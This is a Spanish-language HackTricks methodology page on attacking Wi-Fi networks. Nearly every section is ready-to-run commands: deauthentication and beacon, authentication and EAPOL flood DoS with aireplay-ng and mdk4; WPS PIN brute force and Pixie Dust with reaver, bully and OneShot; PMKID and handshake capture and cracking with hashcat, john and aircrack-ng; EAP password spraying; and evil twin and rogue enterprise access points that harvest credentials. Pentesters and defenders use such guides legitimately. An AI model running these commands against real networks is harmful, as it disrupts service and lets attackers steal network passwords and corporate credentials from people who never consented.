hacktricks/generic-methodologies-and-resources/pentesting-wifi/README.md

51 KiB

Pentesting Wifi

{% hint style="success" %} Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)

Apoya a HackTricks
{% endhint %}

¡Únete al servidor de HackenProof Discord para comunicarte con hackers experimentados y cazadores de bugs!

Perspectivas de Hacking
Participa en contenido que profundiza en la emoción y los desafíos del hacking

Noticias de Hackeo en Tiempo Real
Mantente al día con el mundo del hacking de ritmo rápido a través de noticias e información en tiempo real

Últimos Anuncios
Mantente informado sobre las nuevas recompensas por bugs que se lanzan y actualizaciones cruciales de la plataforma

Únete a nosotros en Discord y comienza a colaborar con los mejores hackers hoy!

Comandos básicos de Wifi

ip link show #List available interfaces
iwconfig #List available interfaces
airmon-ng check kill #Kill annoying processes
airmon-ng start wlan0 #Monitor mode
airmon-ng stop wlan0mon #Managed mode
airodump-ng wlan0mon #Scan (default 2.4Ghz)
airodump-ng wlan0mon --band a #Scan 5Ghz
airodump-ng wlan0mon --wps #Scan WPS
iwconfig wlan0 mode monitor #Put in mode monitor
iwconfig wlan0mon mode managed #Quit mode monitor - managed mode
iw dev wlan0 scan | grep "^BSS\|SSID\|WSP\|Authentication\|WPS\|WPA" #Scan available wifis
iwlist wlan0 scan #Scan available wifis

Herramientas

EAPHammer

git clone https://github.com/s0lst1c3/eaphammer.git
./kali-setup

Airgeddon

mv `which dhcpd` `which dhcpd`.old
apt install isc-dhcp-server
apt-get install sslstrip asleap bettercap mdk4 hostapd beef-xss lighttpd dsniff hostapd-wpe

Ejecutar airgeddon con docker

docker run \
--rm \
-ti \
--name airgeddon \
--net=host \
--privileged \
-p 3000:3000 \
-v /tmp:/io \
-e DISPLAY=$(env | grep DISPLAY | awk -F "=" '{print $2}') \
v1s1t0r1sh3r3/airgeddon

From: https://github.com/v1s1t0r1sh3r3/airgeddon/wiki/Docker%20Linux

wifiphisher

Puede realizar ataques Evil Twin, KARMA y Known Beacons y luego usar una plantilla de phishing para lograr obtener la contraseña real de la red o capturar credenciales de redes sociales.

git clone https://github.com/wifiphisher/wifiphisher.git # Download the latest revision
cd wifiphisher # Switch to tool's directory
sudo python setup.py install # Install any dependencies

Wifite2

Esta herramienta automatiza ataques de WPS/WEP/WPA-PSK. Automáticamente:

  • Configura la interfaz en modo monitor
  • Escanea redes posibles - Y te permite seleccionar la(s) víctima(s)
  • Si es WEP - Lanza ataques WEP
  • Si es WPA-PSK
  • Si es WPS: ataque de Pixie dust y el ataque de fuerza bruta (ten cuidado, el ataque de fuerza bruta podría tardar mucho tiempo). Ten en cuenta que no intenta PIN nulos o PINs generados/base de datos.
  • Intenta capturar el PMKID del AP para crackearlo
  • Intenta desautenticar a los clientes del AP para capturar un handshake
  • Si PMKID o Handshake, intenta hacer fuerza bruta usando las 5000 contraseñas principales.

Resumen de Ataques

  • DoS
  • Desautenticación/desasociación -- Desconectar a todos (o un ESSID/Cliente específico)
  • APs falsos aleatorios -- Ocultar redes, posible colapso de escáneres
  • Sobrecargar AP -- Intentar matar el AP (generalmente no muy útil)
  • WIDS -- Jugar con el IDS
  • TKIP, EAPOL -- Algunos ataques específicos para DoS a ciertos APs
  • Cracking
  • Crackear WEP (varias herramientas y métodos)
  • WPA-PSK
  • WPS pin "Fuerza Bruta"
  • WPA PMKID fuerza bruta
  • [DoS +] Captura de handshake WPA + Cracking
  • WPA-MGT
  • Captura de Nombre de Usuario
  • Fuerza Bruta Credenciales
  • Evil Twin (con o sin DoS)
  • Open Evil Twin [+ DoS] -- Útil para capturar credenciales de portal cautivo y/o realizar ataques LAN
  • WPA-PSK Evil Twin -- Útil para ataques de red si conoces la contraseña
  • WPA-MGT -- Útil para capturar credenciales de la empresa
  • KARMA, MANA, Loud MANA, Beacon conocido
  • + Open -- Útil para capturar credenciales de portal cautivo y/o realizar ataques LAN
  • + WPA -- Útil para capturar handshakes WPA

DOS

Paquetes de Desautenticación

Descripción de aquí:.

Los ataques de desautenticación, un método prevalente en el hacking de Wi-Fi, implican la falsificación de tramas de "gestión" para desconectar forzosamente dispositivos de una red. Estos paquetes no cifrados engañan a los clientes haciéndoles creer que provienen de la red legítima, lo que permite a los atacantes recopilar handshakes WPA con fines de cracking o interrumpir persistentemente las conexiones de red. Esta táctica, alarmante en su simplicidad, es ampliamente utilizada y tiene implicaciones significativas para la seguridad de la red.

Desautenticación usando Aireplay-ng

aireplay-ng -0 0 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0
  • -0 significa desautenticación
  • 1 es el número de desautenticaciones a enviar (puedes enviar múltiples si lo deseas); 0 significa enviarlas continuamente
  • -a 00:14:6C:7E:40:80 es la dirección MAC del punto de acceso
  • -c 00:0F:B5:34:30:30 es la dirección MAC del cliente a desautenticar; si se omite, se envía desautenticación por difusión (no siempre funciona)
  • ath0 es el nombre de la interfaz

Paquetes de Desasociación

Los paquetes de desasociación, similares a los paquetes de desautenticación, son un tipo de marco de gestión utilizado en redes Wi-Fi. Estos paquetes sirven para romper la conexión entre un dispositivo (como una laptop o un smartphone) y un punto de acceso (AP). La principal distinción entre desasociación y desautenticación radica en sus escenarios de uso. Mientras que un AP emite paquetes de desautenticación para eliminar explícitamente dispositivos no autorizados de la red, los paquetes de desasociación se envían típicamente cuando el AP está en proceso de apagado, reinicio o reubicación, lo que requiere la desconexión de todos los nodos conectados.

Este ataque se puede realizar con mdk4(modo "d"):

# -c <channel>
# -b victim_client_mac.txt contains the MAC address of the device to eliminate
# -e WifiName is the name of the wifi
# -B BSSID is the BSSID of the AP
# Notice that these and other parameters aare optional, you could give onli the ESSID and md4k will automatically search for it, wait for finding clients and deauthenticate them
mdk4 wlan0mon d -c 5 -b victim_client_mac.txt -E WifiName -B EF:60:69:D7:69:2F

Más ataques DOS con mdk4

En aquí.

MODO DE ATAQUE b: Inundación de Beacon

Envía tramas de beacon para mostrar APs falsos a los clientes. ¡Esto a veces puede hacer que los escáneres de red e incluso los controladores se bloqueen!

# -a Use also non-printable caracters in generated SSIDs and create SSIDs that break the 32-byte limit
# -w n (create Open) t (Create WPA/TKIP) a (Create WPA2/AES)
# -m use real BSSIDS
# All the parameters are optional and you could load ESSIDs from a file
mdk4 wlan0mon b -a -w nta -m

MODO DE ATAQUE a: Denegación de Servicio de Autenticación

Enviar tramas de autenticación a todos los Puntos de Acceso (APs) accesibles dentro del rango puede sobrecargar estos APs, especialmente cuando hay numerosos clientes involucrados. Este tráfico intenso puede llevar a la inestabilidad del sistema, causando que algunos APs se congelen o incluso se reinicien.

# -a BSSID send random data from random clients to try the DoS
# -i BSSID capture and repeat pakets from authenticated clients
# -m use real MACs
# only -a or -i can be used
mdk4 wlan0mon a [-i EF:60:69:D7:69:2F] [-a EF:60:69:D7:69:2F] -m

MODO DE ATAQUE p: Sondeo de SSID y Fuerza Bruta

El sondeo de Puntos de Acceso (APs) verifica si un SSID está correctamente revelado y confirma el rango del AP. Esta técnica, junto con la fuerza bruta de SSIDs ocultos con o sin una lista de palabras, ayuda a identificar y acceder a redes ocultas.

MODO DE ATAQUE m: Explotación de Contramedidas de Michael

Enviar paquetes aleatorios o duplicados a diferentes colas de QoS puede activar las Contramedidas de Michael en APs TKIP, lo que lleva a un apagado del AP de un minuto. Este método es una táctica eficiente de ataque DoS (Denial of Service).

# -t <BSSID> of a TKIP AP
# -j use inteligent replay to create the DoS
mdk4 wlan0mon m -t EF:60:69:D7:69:2F [-j]

MODO DE ATAQUE e: Inyección de Paquetes EAPOL Start y Logoff

Inundar un AP con tramas EAPOL Start crea sesiones falsas, abrumando al AP y bloqueando a los clientes legítimos. Alternativamente, inyectar mensajes EAPOL Logoff falsos desconecta forzosamente a los clientes, ambos métodos interrumpen efectivamente el servicio de la red.

# Use Logoff messages to kick clients
mdk4 wlan0mon e -t EF:60:69:D7:69:2F [-l]

MODO DE ATAQUE s: Ataques para redes de malla IEEE 802.11s

Varios ataques a la gestión de enlaces y el enrutamiento en redes de malla.

MODO DE ATAQUE w: Confusión de WIDS

Conectar clientes a múltiples nodos WDS o APs falsos puede manipular los Sistemas de Detección y Prevención de Intrusiones, creando confusión y potencial abuso del sistema.

# -z activate Zero_Chaos' WIDS exploit (authenticates clients from a WDS to foreign APs to make WIDS go nuts)
mkd4 -e <SSID> -c <channel> [-z]

MODO DE ATAQUE f: Fuzzing de Paquetes

Un fuzzing de paquetes que presenta diversas fuentes de paquetes y un conjunto completo de modificadores para la manipulación de paquetes.

Airggedon

Airgeddon ofrece la mayoría de los ataques propuestos en los comentarios anteriores:

WPS

WPS (Wi-Fi Protected Setup) simplifica el proceso de conexión de dispositivos a un enrutador, mejorando la velocidad y facilidad de configuración para redes encriptadas con WPA o WPA2 Personal. Es ineficaz para la seguridad WEP, que es fácilmente comprometida. WPS emplea un PIN de 8 dígitos, validado en dos mitades, lo que lo hace susceptible a ataques de fuerza bruta debido a su número limitado de combinaciones (11,000 posibilidades).

Fuerza Bruta WPS

Hay 2 herramientas principales para realizar esta acción: Reaver y Bully.

  • Reaver ha sido diseñado para ser un ataque robusto y práctico contra WPS, y ha sido probado contra una amplia variedad de puntos de acceso e implementaciones de WPS.
  • Bully es una nueva implementación del ataque de fuerza bruta WPS, escrita en C. Tiene varias ventajas sobre el código original de reaver: menos dependencias, mejor rendimiento de memoria y CPU, manejo correcto de endianness, y un conjunto de opciones más robusto.

El ataque explota la vulnerabilidad del PIN WPS, particularmente su exposición de los primeros cuatro dígitos y el papel del último dígito como un checksum, facilitando el ataque de fuerza bruta. Sin embargo, las defensas contra ataques de fuerza bruta, como bloquear direcciones MAC de atacantes agresivos, exigen rotación de direcciones MAC para continuar el ataque.

Al obtener el PIN WPS con herramientas como Bully o Reaver, el atacante puede deducir el WPA/WPA2 PSK, asegurando acceso persistente a la red.

reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -b -f -N [-L -d 2] -vvroot
bully wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -S -F -B -v 3

Fuerza Bruta Inteligente

Este enfoque refinado apunta a los PINs de WPS utilizando vulnerabilidades conocidas:

  1. PINs predescubiertos: Utiliza una base de datos de PINs conocidos vinculados a fabricantes específicos que utilizan PINs de WPS uniformes. Esta base de datos correlaciona los primeros tres octetos de las direcciones MAC con los PINs probables para estos fabricantes.
  2. Algoritmos de generación de PIN: Aprovecha algoritmos como ComputePIN y EasyBox, que calculan los PINs de WPS basándose en la dirección MAC del AP. El algoritmo Arcadyan además requiere un ID de dispositivo, añadiendo una capa al proceso de generación del PIN.

Ataque WPS Pixie Dust

Dominique Bongard descubrió un fallo en algunos Puntos de Acceso (APs) relacionado con la creación de códigos secretos, conocidos como nonces (E-S1 y E-S2). Si estos nonces pueden ser descubiertos, descifrar el PIN de WPS del AP se vuelve fácil. El AP revela el PIN dentro de un código especial (hash) para probar que es legítimo y no un AP falso (rogue). Estos nonces son esencialmente las "llaves" para desbloquear la "caja fuerte" que contiene el PIN de WPS. Más sobre esto se puede encontrar aquí.

En términos simples, el problema es que algunos APs no utilizaron llaves lo suficientemente aleatorias para encriptar el PIN durante el proceso de conexión. Esto hace que el PIN sea vulnerable a ser adivinado desde fuera de la red (ataque de fuerza bruta offline).

reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -K 1 -N -vv
bully  wlan1mon -b 00:C0:CA:78:B1:37 -d -v 3

Si no quieres cambiar el dispositivo a modo monitor, o reaver y bully tienen algún problema, puedes probar OneShot-C. Esta herramienta puede realizar un ataque Pixie Dust sin tener que cambiar a modo monitor.

./oneshot -i wlan0 -K -b 00:C0:CA:78:B1:37

Null Pin attack

Algunos sistemas mal diseñados incluso permiten que un Null PIN (un PIN vacío o inexistente) otorgue acceso, lo cual es bastante inusual. La herramienta Reaver es capaz de probar esta vulnerabilidad, a diferencia de Bully.

reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -f -N -g 1 -vv -p ''

Airgeddon

Todos los ataques WPS propuestos se pueden realizar fácilmente utilizando airgeddon.

  • 5 y 6 te permiten probar tu PIN personalizado (si tienes alguno)
  • 7 y 8 realizan el ataque Pixie Dust
  • 13 te permite probar el PIN NULL
  • 11 y 12 recolectarán los PINs relacionados con el AP seleccionado de bases de datos disponibles y generarán posibles PINs utilizando: ComputePIN, EasyBox y opcionalmente Arcadyan (recomendado, ¿por qué no?)
  • 9 y 10 probarán cada PIN posible

WEP

Tan roto y sin usar en la actualidad. Solo sepas que airgeddon tiene una opción WEP llamada "All-in-One" para atacar este tipo de protección. Más herramientas ofrecen opciones similares.


¡Únete al servidor de HackenProof Discord para comunicarte con hackers experimentados y cazadores de recompensas por errores!

Perspectivas de Hacking
Participa en contenido que profundiza en la emoción y los desafíos del hacking

Noticias de Hackeo en Tiempo Real
Mantente al día con el mundo del hacking de ritmo rápido a través de noticias e información en tiempo real

Últimos Anuncios
Mantente informado sobre las nuevas recompensas por errores que se lanzan y actualizaciones cruciales de la plataforma

¡Únete a nosotros en Discord y comienza a colaborar con los mejores hackers hoy!


WPA/WPA2 PSK

PMKID

En 2018, hashcat reveló un nuevo método de ataque, único porque solo necesita un solo paquete y no requiere que ningún cliente esté conectado al AP objetivo, solo interacción entre el atacante y el AP.

Muchos enrutadores modernos añaden un campo opcional al primer marco EAPOL durante la asociación, conocido como Robust Security Network. Esto incluye el PMKID.

Como explica la publicación original, el PMKID se crea utilizando datos conocidos:

PMKID = HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA)

Dado que el "Nombre PMK" es constante, conocemos el BSSID del AP y de la estación, y el PMK es idéntico al de un apretón de manos completo de 4 vías, hashcat puede usar esta información para descifrar el PSK y recuperar la frase de paso.

Para reunir esta información y fuerza bruta localmente la contraseña, puedes hacer:

airmon-ng check kill
airmon-ng start wlan0
git clone https://github.com/ZerBea/hcxdumptool.git; cd hcxdumptool; make; make install
hcxdumptool -o /tmp/attack.pcap -i wlan0mon --enable_status=1
#You can also obtains PMKIDs using eaphammer
./eaphammer --pmkid --interface wlan0 --channel 11 --bssid 70:4C:A5:F8:9A:C1

Los PMKIDs capturados se mostrarán en la consola y también se guardarán dentro de _ /tmp/attack.pcap_
Ahora, convierte la captura al formato de hashcat/john y crackéalo:

hcxtools/hcxpcaptool -z hashes.txt /tmp/attack.pcapng
hashcat -m 16800 --force hashes.txt /usr/share/wordlists/rockyou.txt
john hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt

Por favor, tenga en cuenta que el formato de un hash correcto contiene 4 partes, como: 4017733ca8db33a1479196c2415173beb808d7b83cfaa4a6a9a5aae7566f6461666f6e65436f6e6e6563743034383131343838 Si el suyo solo contiene 3 partes, entonces, es inválido (la captura de PMKID no fue válida).

Tenga en cuenta que hcxdumptool también captura handshakes (algo como esto aparecerá: MP:M1M2 RC:63258 EAPOLTIME:17091). Podría transformar los handshakes al formato de hashcat/john usando cap2hccapx

tcpdump -r /tmp/attack.pcapng -w /tmp/att.pcap
cap2hccapx pmkid.pcapng pmkid.hccapx ["Filter_ESSID"]
hccap2john pmkid.hccapx > handshake.john
john handshake.john --wordlist=/usr/share/wordlists/rockyou.txt
aircrack-ng /tmp/att.pcap -w /usr/share/wordlists/rockyou.txt #Sometimes

He notado que algunos handshakes capturados con esta herramienta no pudieron ser descifrados incluso sabiendo la contraseña correcta. Recomendaría capturar handshakes también de manera tradicional si es posible, o capturar varios de ellos usando esta herramienta.

Captura de handshakes

Un ataque a redes WPA/WPA2 se puede ejecutar capturando un handshake y tratando de crackear la contraseña offline. Este proceso implica monitorear la comunicación de una red específica y BSSID en un canal particular. Aquí hay una guía simplificada:

  1. Identifica el BSSID, canal y un cliente conectado de la red objetivo.
  2. Usa airodump-ng para monitorear el tráfico de la red en el canal y BSSID especificados, con la esperanza de capturar un handshake. El comando se verá así:
airodump-ng wlan0 -c 6 --bssid 64:20:9F:15:4F:D7 -w /tmp/psk --output-format pcap
  1. Para aumentar la probabilidad de capturar un handshake, desconecte momentáneamente al cliente de la red para forzar una re-autenticación. Esto se puede hacer utilizando el comando aireplay-ng, que envía paquetes de desautenticación al cliente:
aireplay-ng -0 0 -a 64:20:9F:15:4F:D7 wlan0 #Send generic deauth packets, may not work in all scenarios

Note que, como el cliente fue desautenticado, podría intentar conectarse a un AP diferente o, en otros casos, a una red diferente.

Una vez que en airodump-ng aparece información de handshake, esto significa que el handshake fue capturado y puedes dejar de escuchar:

Una vez que el handshake es capturado, puedes crackearlo con aircrack-ng:

aircrack-ng -w /usr/share/wordlists/rockyou.txt -b 64:20:9F:15:4F:D7 /tmp/psk*.cap

Verificar si el apretón de manos está en el archivo

aircrack

aircrack-ng psk-01.cap #Search your bssid/essid and check if any handshake was capture

tshark

tshark -r psk-01.cap -n -Y eapol #Filter handshake messages #You should have the 4 messages.

cowpatty

cowpatty -r psk-01.cap -s "ESSID" -f -

Si esta herramienta encuentra un apretón de manos incompleto de un ESSID antes del completado, no detectará el válido.

pyrit

apt-get install pyrit #Not working for newer versions of kali
pyrit -r psk-01.cap analyze

WPA Enterprise (MGT)

En configuraciones de WiFi empresarial, encontrarás varios métodos de autenticación, cada uno proporcionando diferentes niveles de seguridad y características de gestión. Cuando uses herramientas como airodump-ng para inspeccionar el tráfico de red, podrías notar identificadores para estos tipos de autenticación. Algunos métodos comunes incluyen:

6A:FE:3B:73:18:FB  -58       19        0    0   1  195  WPA2 CCMP   MGT  NameOfMyWifi
  1. EAP-GTC (Generic Token Card):
  • Este método admite tokens de hardware y contraseñas de un solo uso dentro de EAP-PEAP. A diferencia de MSCHAPv2, no utiliza un desafío entre pares y envía contraseñas en texto claro al punto de acceso, lo que plantea un riesgo para ataques de degradación.
  1. EAP-MD5 (Message Digest 5):
  • Implica enviar el hash MD5 de la contraseña desde el cliente. No se recomienda debido a la vulnerabilidad a ataques de diccionario, la falta de autenticación del servidor y la incapacidad de generar claves WEP específicas de la sesión.
  1. EAP-TLS (Transport Layer Security):
  • Utiliza certificados tanto del lado del cliente como del servidor para la autenticación y puede generar dinámicamente claves WEP basadas en el usuario y la sesión para asegurar las comunicaciones.
  1. EAP-TTLS (Tunneled Transport Layer Security):
  • Proporciona autenticación mutua a través de un túnel encriptado, junto con un método para derivar claves WEP dinámicas, por usuario y por sesión. Solo requiere certificados del lado del servidor, con los clientes utilizando credenciales.
  1. PEAP (Protected Extensible Authentication Protocol):
  • Funciona de manera similar a EAP al crear un túnel TLS para comunicación protegida. Permite el uso de protocolos de autenticación más débiles sobre EAP debido a la protección ofrecida por el túnel.
  • PEAP-MSCHAPv2: A menudo se refiere a PEAP, combina el mecanismo de desafío/respuesta vulnerable de MSCHAPv2 con un túnel TLS protector.
  • PEAP-EAP-TLS (o PEAP-TLS): Similar a EAP-TLS pero inicia un túnel TLS antes de intercambiar certificados, ofreciendo una capa adicional de seguridad.

Puedes encontrar más información sobre estos métodos de autenticación aquí y aquí.

Captura de Nombre de Usuario

Leyendo https://tools.ietf.org/html/rfc3748#page-27 parece que si estás usando EAP, los mensajes de "Identidad" deben ser soportados, y el nombre de usuario se enviará en claro en los mensajes de "Respuesta de Identidad".

Incluso usando uno de los métodos de autenticación más seguros: PEAP-EAP-TLS, es posible capturar el nombre de usuario enviado en el protocolo EAP. Para hacerlo, captura una comunicación de autenticación (inicia airodump-ng dentro de un canal y wireshark en la misma interfaz) y filtra los paquetes por eapol.
Dentro del paquete "Respuesta, Identidad", aparecerá el nombre de usuario del cliente.

Identidades Anónimas

El ocultamiento de identidad es soportado tanto por EAP-PEAP como por EAP-TTLS. En el contexto de una red WiFi, una solicitud de EAP-Identidad es típicamente iniciada por el punto de acceso (AP) durante el proceso de asociación. Para asegurar la protección de la anonimidad del usuario, la respuesta del cliente EAP en el dispositivo del usuario contiene solo la información esencial requerida para que el servidor RADIUS inicial procese la solicitud. Este concepto se ilustra a través de los siguientes escenarios:

  • EAP-Identidad = anónimo
  • En este escenario, todos los usuarios emplean el seudónimo "anónimo" como su identificador de usuario. El servidor RADIUS inicial funciona como un servidor EAP-PEAP o EAP-TTLS, responsable de gestionar el lado del servidor del protocolo PEAP o TTLS. El método de autenticación interno (protegido) se maneja localmente o se delega a un servidor RADIUS remoto (de origen).
  • EAP-Identidad = anónimo@realm_x
  • En esta situación, los usuarios de diferentes dominios ocultan sus identidades mientras indican sus respectivos dominios. Esto permite que el servidor RADIUS inicial actúe como proxy para las solicitudes EAP-PEAP o EAP-TTLS a los servidores RADIUS en sus dominios de origen, que actúan como el servidor PEAP o TTLS. El servidor RADIUS inicial opera únicamente como un nodo de retransmisión RADIUS.
  • Alternativamente, el servidor RADIUS inicial puede funcionar como el servidor EAP-PEAP o EAP-TTLS y manejar el método de autenticación protegido o reenviarlo a otro servidor. Esta opción facilita la configuración de políticas distintas para varios dominios.

En EAP-PEAP, una vez que se establece el túnel TLS entre el servidor PEAP y el cliente PEAP, el servidor PEAP inicia una solicitud de EAP-Identidad y la transmite a través del túnel TLS. El cliente responde a esta segunda solicitud de EAP-Identidad enviando una respuesta de EAP-Identidad que contiene la verdadera identidad del usuario a través del túnel encriptado. Este enfoque previene efectivamente la revelación de la verdadera identidad del usuario a cualquier persona que esté escuchando el tráfico 802.11.

EAP-TTLS sigue un procedimiento ligeramente diferente. Con EAP-TTLS, el cliente típicamente se autentica usando PAP o CHAP, asegurado por el túnel TLS. En este caso, el cliente incluye un atributo User-Name y ya sea un atributo Password o CHAP-Password en el mensaje TLS inicial enviado después del establecimiento del túnel.

Independientemente del protocolo elegido, el servidor PEAP/TTLS obtiene conocimiento de la verdadera identidad del usuario después de que se ha establecido el túnel TLS. La verdadera identidad puede representarse como user@realm o simplemente user. Si el servidor PEAP/TTLS también es responsable de autenticar al usuario, ahora posee la identidad del usuario y procede con el método de autenticación protegido por el túnel TLS. Alternativamente, el servidor PEAP/TTLS puede reenviar una nueva solicitud RADIUS al servidor RADIUS del hogar del usuario. Esta nueva solicitud RADIUS omite la capa del protocolo PEAP o TTLS. En los casos en que el método de autenticación protegido sea EAP, los mensajes EAP internos se transmiten al servidor RADIUS del hogar sin el envoltorio EAP-PEAP o EAP-TTLS. El atributo User-Name del mensaje RADIUS saliente contiene la verdadera identidad del usuario, reemplazando el User-Name anónimo de la solicitud RADIUS entrante. Cuando el método de autenticación protegido es PAP o CHAP (soportado solo por TTLS), el User-Name y otros atributos de autenticación extraídos de la carga útil TLS se sustituyen en el mensaje RADIUS saliente, desplazando el User-Name anónimo y los atributos TTLS EAP-Message encontrados en la solicitud RADIUS entrante.

Para más información consulta https://www.interlinknetworks.com/app_notes/eap-peap.htm

EAP-Bruteforce (spray de contraseñas)

Si se espera que el cliente use un nombre de usuario y contraseña (ten en cuenta que EAP-TLS no será válido en este caso), entonces podrías intentar obtener una lista de nombres de usuario (ver la siguiente parte) y contraseñas y tratar de forzar el acceso usando air-hammer.

./air-hammer.py -i wlan0 -e Test-Network -P UserPassword1 -u usernames.txt

También podrías realizar este ataque utilizando eaphammer:

./eaphammer --eap-spray \
--interface-pool wlan0 wlan1 wlan2 wlan3 wlan4 \
--essid example-wifi \
--password bananas \
--user-list users.txt

Teoría de ataques al cliente

Selección de red y roaming

  • El protocolo 802.11 define cómo una estación se une a un Conjunto de Servicio Ampliado (ESS), pero no especifica los criterios para seleccionar un ESS o un punto de acceso (AP) dentro de él.
  • Las estaciones pueden moverse entre APs que comparten el mismo ESSID, manteniendo la conectividad a través de un edificio o área.
  • El protocolo requiere autenticación de la estación al ESS, pero no exige autenticación del AP a la estación.

Listas de redes preferidas (PNL)

  • Las estaciones almacenan el ESSID de cada red inalámbrica a la que se conectan en su Lista de Redes Preferidas (PNL), junto con detalles de configuración específicos de la red.
  • La PNL se utiliza para conectarse automáticamente a redes conocidas, mejorando la experiencia del usuario al simplificar el proceso de conexión.

Escaneo pasivo

  • Los APs transmiten periódicamente tramas de baliza, anunciando su presencia y características, incluido el ESSID del AP a menos que la transmisión esté desactivada.
  • Durante el escaneo pasivo, las estaciones escuchan las tramas de baliza. Si el ESSID de una baliza coincide con una entrada en la PNL de la estación, la estación puede conectarse automáticamente a ese AP.
  • El conocimiento de la PNL de un dispositivo permite una posible explotación al imitar el ESSID de una red conocida, engañando al dispositivo para que se conecte a un AP malicioso.

Sondeo activo

  • El sondeo activo implica que las estaciones envían solicitudes de sondeo para descubrir APs cercanos y sus características.
  • Las solicitudes de sondeo dirigidas apuntan a un ESSID específico, ayudando a detectar si una red particular está dentro del alcance, incluso si es una red oculta.
  • Las solicitudes de sondeo de difusión tienen un campo SSID nulo y se envían a todos los APs cercanos, permitiendo que la estación verifique cualquier red preferida sin revelar el contenido de su PNL.

AP simple con redirección a Internet

Antes de explicar cómo realizar ataques más complejos, se explicará cómo simplemente crear un AP y redirigir su tráfico a una interfaz conectada a Internet.

Usando ifconfig -a, verifica que la interfaz wlan para crear el AP y la interfaz conectada a Internet estén presentes.

DHCP & DNS

apt-get install dnsmasq #Manages DHCP and DNS

Crea el archivo de configuración /etc/dnsmasq.conf:

interface=wlan0
dhcp-authoritative
dhcp-range=192.168.1.2,192.168.1.30,255.255.255.0,12h
dhcp-option=3,192.168.1.1
dhcp-option=6,192.168.1.1
server=8.8.8.8
log-queries
log-dhcp
listen-address=127.0.0.1

Luego configura IPs y rutas:

ifconfig wlan0 up 192.168.1.1 netmask 255.255.255.0
route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.1

Y luego inicia dnsmasq:

dnsmasq -C dnsmasq.conf -d

hostapd

apt-get install hostapd

Crea un archivo de configuración hostapd.conf:

interface=wlan0
driver=nl80211
ssid=MITIWIFI
hw_mode=g
channel=11
macaddr_acl=0
ignore_broadcast_ssid=0
auth_algs=1
wpa=2
wpa_passphrase=mitmwifi123
wpa_key_mgmt=WPA-PSK
wpa_pairwise=CCMP
wpa_group_rekey=86400
ieee80211n=1
wme_enabled=1

Detener procesos molestos, configurar modo monitor y iniciar hostapd:

airmon-ng check kill
iwconfig wlan0 mode monitor
ifconfig wlan0 up
hostapd ./hostapd.conf

Reenvío y Redirección

iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE
iptables --append FORWARD --in-interface wlan0 -j ACCEPT
echo 1 > /proc/sys/net/ipv4/ip_forward

Evil Twin

Un ataque de gemelo malvado explota la forma en que los clientes de WiFi reconocen las redes, confiando principalmente en el nombre de la red (ESSID) sin requerir que la estación base (punto de acceso) se autentique ante el cliente. Los puntos clave incluyen:

  • Dificultad en la Diferenciación: Los dispositivos tienen dificultades para distinguir entre puntos de acceso legítimos y maliciosos cuando comparten el mismo ESSID y tipo de encriptación. Las redes del mundo real a menudo utilizan múltiples puntos de acceso con el mismo ESSID para extender la cobertura sin problemas.
  • Manipulación de Conexión y Roaming del Cliente: El protocolo 802.11 permite a los dispositivos moverse entre puntos de acceso dentro del mismo ESS. Los atacantes pueden explotar esto al atraer a un dispositivo a desconectarse de su estación base actual y conectarse a una maliciosa. Esto se puede lograr ofreciendo una señal más fuerte o interrumpiendo la conexión al punto de acceso legítimo a través de métodos como paquetes de desautenticación o interferencia.
  • Desafíos en la Ejecución: Ejecutar con éxito un ataque de gemelo malvado en entornos con múltiples puntos de acceso bien ubicados puede ser un desafío. Desautenticar un solo punto de acceso legítimo a menudo resulta en que el dispositivo se conecte a otro punto de acceso legítimo, a menos que el atacante pueda desautenticar todos los puntos de acceso cercanos o colocar estratégicamente el punto de acceso malicioso.

Puedes crear un Open Evil Twin muy básico (sin capacidades para enrutar tráfico a Internet) haciendo:

airbase-ng -a 00:09:5B:6F:64:1E --essid "Elroy" -c 1 wlan0mon

También podrías crear un Evil Twin usando eaphammer (ten en cuenta que para crear evil twins con eaphammer la interfaz NO DEBE estar en modo monitor):

./eaphammer -i wlan0 --essid exampleCorp --captive-portal

O usando Airgeddon: Options: 5,6,7,8,9 (dentro del menú de ataque Evil Twin).

Por favor, ten en cuenta que por defecto, si un ESSID en el PNL está guardado como protegido por WPA, el dispositivo no se conectará automáticamente a un Evil Twin abierto. Puedes intentar hacer un DoS al AP real y esperar que el usuario se conecte manualmente a tu Evil Twin abierto, o podrías hacer un DoS al AP real y usar un WPA Evil Twin para capturar el handshake (usando este método no podrás permitir que la víctima se conecte a ti ya que no conoces el PSK, pero puedes capturar el handshake e intentar crackearlo).

Algunos sistemas operativos y antivirus advertirán al usuario que conectarse a una red abierta es peligroso...

WPA/WPA2 Evil Twin

Puedes crear un Evil Twin usando WPA/2 y si los dispositivos están configurados para conectarse a ese SSID con WPA/2, intentarán conectarse. De todos modos, para completar el 4-way-handshake también necesitas conocer la contraseña que el cliente va a usar. Si no la conoces, la conexión no se completará.

./eaphammer -i wlan0 -e exampleCorp -c 11 --creds --auth wpa-psk --wpa-passphrase "mywifipassword"

Enterprise Evil Twin

Para entender estos ataques, recomendaría leer antes la breve explicación de WPA Enterprise.

Usando hostapd-wpe

hostapd-wpe necesita un archivo de configuración para funcionar. Para automatizar la generación de estas configuraciones, podrías usar https://github.com/WJDigby/apd_launchpad (descarga el archivo de python dentro de /etc/hostapd-wpe/).

./apd_launchpad.py -t victim -s PrivateSSID -i wlan0 -cn company.com
hostapd-wpe ./victim/victim.conf -s

En el archivo de configuración, puedes seleccionar muchas cosas diferentes como ssid, canal, archivos de usuario, cret/key, parámetros dh, versión wpa y auth...

Usando hostapd-wpe con EAP-TLS para permitir que cualquier certificado inicie sesión.

Usando EAPHammer

# Generate Certificates
./eaphammer --cert-wizard

# Launch Attack
./eaphammer -i wlan0 --channel 4 --auth wpa-eap --essid CorpWifi --creds

Por defecto, EAPHammer propone estos métodos de autenticación (nota GTC como el primero en intentar obtener contraseñas en texto plano y luego el uso de métodos de autenticación más robustos):

